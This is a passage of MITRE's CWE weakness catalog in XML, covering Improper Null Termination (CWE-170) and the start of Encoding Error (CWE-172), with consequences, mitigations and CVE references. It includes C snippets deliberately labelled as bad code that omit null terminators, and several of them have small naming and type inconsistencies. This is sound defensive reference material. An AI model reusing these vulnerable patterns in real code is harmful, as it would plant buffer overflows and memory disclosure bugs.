					          <Mapped_Node_Name>Inconsistent Special Elements</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Inconsistent Special
						Elements</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Resolve
						Inconsistent Special Elements</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="170" Name="Improper Null Termination" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not terminate or incorrectly terminates a
					string or array with a null character or equivalent
					terminator.</Description_Summary>
				        <Extended_Description>
					          <Text>Null termination errors frequently occur in two different ways. An
						off-by-one error could cause a null to be written out of bounds, leading to
						an overflow. Or, a program could use a strncpy() function call incorrectly,
						which prevents a null terminator from being added at all. Other scenarios
						are possible.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>707</Relationship_Target_ID>
					          <!--Improper Enforcement of Message or Data Structure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>169</Relationship_Target_ID>
					          <!--Technology-Specific Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>730</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A9 - Denial of Service-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>120</Relationship_Target_ID>
					          <!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>126</Relationship_Target_ID>
					          <!--Buffer Over-read-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>147</Relationship_Target_ID>
					          <!--Improper Neutralization of Input Terminators-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>464</Relationship_Target_ID>
					          <!--Addition of Data Structure Sentinel-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>463</Relationship_Target_ID>
					          <!--Deletion of Data Structure Sentinel-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>741</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>748</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 50 - POSIX (POS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>875</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Factors: this is usually resultant from other weaknesses such as
						off-by-one errors, but it can be primary to boundary condition violations
						such as buffer overflows. In buffer overflows, it can act as an expander for
						assumed-immutable data.</Text>
				        </Relationship_Note>
				        <Relationship_Note>
					          <Text>Overlaps missing input terminator.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
				        <Platform_Notes>
					          <Text>Conceptually, this does not just apply to the C language; any language or
						representation that involves a terminator could have this type of
						problem.</Text>
				        </Platform_Notes>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>As currently described, this entry is more like a category than a
						weakness.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The case of an omitted null character is the most dangerous of the
							possible issues. This will almost certainly result in information
							disclosure, and possibly a buffer overflow condition, which may be
							exploited to execute arbitrary code. </Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If a null character is omitted from a string, then most string-copying
							functions will read data until they locate a null character, even
							outside of the intended boundaries of the string. This could:</Text>
						            <Block Block_Nature="List">
							              <Text>cause a crash due to a segmentation fault</Text>
							              <Text>cause sensitive adjacent memory to be copied and sent to an
								outsider</Text>
							              <Text>trigger a buffer overflow when the copy is being written to a
								fixed-size buffer</Text>
						            </Block>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Misplaced null characters may result in any number of security
							problems. The biggest issue is a subset of buffer overflow, and
							write-what-where conditions, where data corruption occurs from the
							writing of a null character over valid data, or even instructions. A
							randomly placed null character may put the system into an undefined
							state, and therefore make it prone to crashing. A misplaced null
							character may corrupt other data in memory.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Should the null character corrupt the process flow, or affect a flag
							controlling access, it may lead to logical errors which allow for the
							execution of arbitrary code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a language that is not susceptible to these issues. However, be
							careful of null byte interaction errors (CWE-626) with lower-level
							constructs that may be written in a language that is susceptible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that all string functions used are understood fully as to how
							they append null characters. Also, be wary of off-by-one errors when
							appending nulls to the end of strings.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If performance constraints permit, special code can be added that
							validates null-termination of string buffers, this is a rather naive and
							error-prone solution.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Switch to bounded string manipulation functions. Inspect buffer
							lengths involved in the buffer overrun trace reported with the
							defect.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Add code that fills buffers with nulls (however, the length of buffers
							still needs to be inspected, to ensure that the non null-terminated
							string is not written at the physical end of the buffer).</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code reads from cfgfile and copies the input into
						inputbuf using strcpy(). The code mistakenly assumes that inputbuf will
						always contain a NULL terminator.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define MAXLEN 1024</Code>
							              <Code>...</Code>
							              <Code>char *pathbuf[MAXLEN];</Code>
							              <Code>...</Code>
							              <Code>read(cfgfile,inputbuf,MAXLEN); //does not null terminate</Code>
							              <Code>strcpy(pathbuf,input_buf); //requires null terminated input</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The code above will behave correctly if the data read from cfgfile is
							null terminated on disk as expected. But if an attacker is able to
							modify this input so that it does not contain the expected NULL
							character, the call to strcpy() will continue copying from memory until
							it encounters an arbitrary NULL character. This will likely overflow the
							destination buffer and, if the attacker can control the contents of
							memory immediately following inputbuf, can leave the application
							susceptible to a buffer overflow attack.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following code, readlink() expands the name of a symbolic
						link stored in the buffer path so that the buffer filename contains the
						absolute path of the file referenced by the symbolic link. The length of the
						resulting value is then calculated using strlen().</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char buf[MAXPATH];</Code>
							              <Code>...</Code>
							              <Code>readlink(path, buf, MAXPATH);</Code>
							              <Code>int length = strlen(filename);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The code above will not behave correctly because the value read into
							buf by readlink() will not be null terminated. In testing,
							vulnerabilities like this one might not be caught because the unused
							contents of buf and the memory immediately following it may be NULL,
							thereby causing strlen() to appear as if it is behaving correctly.
							However, in the wild strlen() will continue traversing memory until it
							encounters an arbitrary NULL character on the stack, which results in a
							value of length that is much larger than the size of buf and may cause a
							buffer overflow in subsequent uses of this value. Buffer overflows
							aside, whenever a single call to readlink() returns the same value that
							has been passed to its third argument, it is impossible to know whether
							the name is precisely that many bytes long, or whether readlink() has
							truncated the name to avoid overrunning the buffer. Traditionally,
							strings are represented as a region of memory containing data terminated
							with a NULL character. Older string-handling methods frequently rely on
							this NULL character to determine the length of the string. If a buffer
							that does not contain a NULL terminator is passed to one of these
							functions, the function will read past the end of the buffer. Malicious
							users typically exploit this type of vulnerability by injecting data
							with unexpected size or content into the application. They may provide
							the malicious input either directly as input to the program or
							indirectly by modifying application resources, such as configuration
							files. In the event that an attacker causes the application to read
							beyond the bounds of a buffer, the attacker may be able use a resulting
							buffer overflow to inject and execute arbitrary code on the system.
						</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>While the following example is not exploitable, it provides a good
						example of how nulls can be omitted or misplaced, even when "safe" functions
						are used:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#include &lt;stdio.h&gt;</Code>
							              <Code>#include &lt;string.h&gt;</Code>
							              <Code/>
							              <Code>int main() {</Code>
							              <Block>
								                <Code/>
								                <Code>char longString[] = "String signifying nothing";</Code>
								                <Code>char shortString[16];</Code>
								                <Code/>
								                <Code>strncpy(shortString, longString, 16);</Code>
								                <Code>printf("The last character in shortString is: %c %1$x\n",
									shortString[15]);</Code>
								                <Code>return (0);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The above code gives the following output: The last character in
							shortString is: l 6c So, the shortString array does not end in a NULL
							character, even though the "safe" string function strncpy() was
							used.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0312</Observed_Example_Reference>
					          <Observed_Example_Description>Attacker does not null-terminate argv[] when
						invoking another program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0777</Observed_Example_Reference>
					          <Observed_Example_Description>Interrupted step causes resultant lack of null
						termination.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1072</Observed_Example_Reference>
					          <Observed_Example_Description>Fault causes resultant lack of null termination,
						leading to buffer expansion.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1389</Observed_Example_Reference>
					          <Observed_Example_Description>Multiple vulnerabilities related to improper null
						termination.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0143</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not null terminate a message buffer
						after snprintf-like call, leading to
						overflow.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Improper Null Termination</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>String Termination Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Miscalculated null termination</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Denial of Service</Mapped_Node_Name>
					          <Mapped_Node_ID>A9</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Use the readlink() function properly</Mapped_Node_Name>
					          <Mapped_Node_ID>POS30-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not inadvertently truncate a null-terminated byte
						string</Mapped_Node_Name>
					          <Mapped_Node_ID>STR03-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Null-terminate byte strings as required</Mapped_Node_Name>
					          <Mapped_Node_ID>STR32-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not inadvertently truncate a null-terminated character
						array</Mapped_Node_Name>
					          <Mapped_Node_ID>STR03-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Null-terminate character arrays as required</Mapped_Node_Name>
					          <Mapped_Node_ID>STR32-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where the code path has:</Text>
					          <Block>
						            <Text>1. end statement that passes a data item to a null-terminated string
							function</Text>
						            <Text>2. start statement that produces the improper null-terminated data
							item </Text>
					          </Block>
					          <Text>Where "produces" is defined through the following scenarios:</Text>
					          <Block>
						            <Text>1. data item never ended with null-terminator</Text>
						            <Text>2. null-terminator is re-written</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Causal_Nature,
						Common_Consequences, Description, Likelihood_of_Exploit, Maintenance_Notes,
						Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>KDM Analytics</Modifier>
					          <Modification_Date>2009-07-17</Modification_Date>
					          <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Other_Notes,
						Potential_Mitigations, White_Box_Definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="172" Name="Encoding Error" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not properly encode or decode the data,
					resulting in unexpected values.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>707</Relationship_Target_ID>
					          <!--Improper Enforcement of Message or Data Structure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>171</Relationship_Target_ID>
					          <!--Cleansing, Canonicalization, and Comparison Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>22</Relationship_Target_ID>
					          <!--Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Partially overlaps path traversal and equivalence weaknesses.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This is more like a category than a weakness.</Text>
				        </Maintenance_Note>
				        <Maintenance_Note>
					          <Text>Many other types of encodings should be listed in this category.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
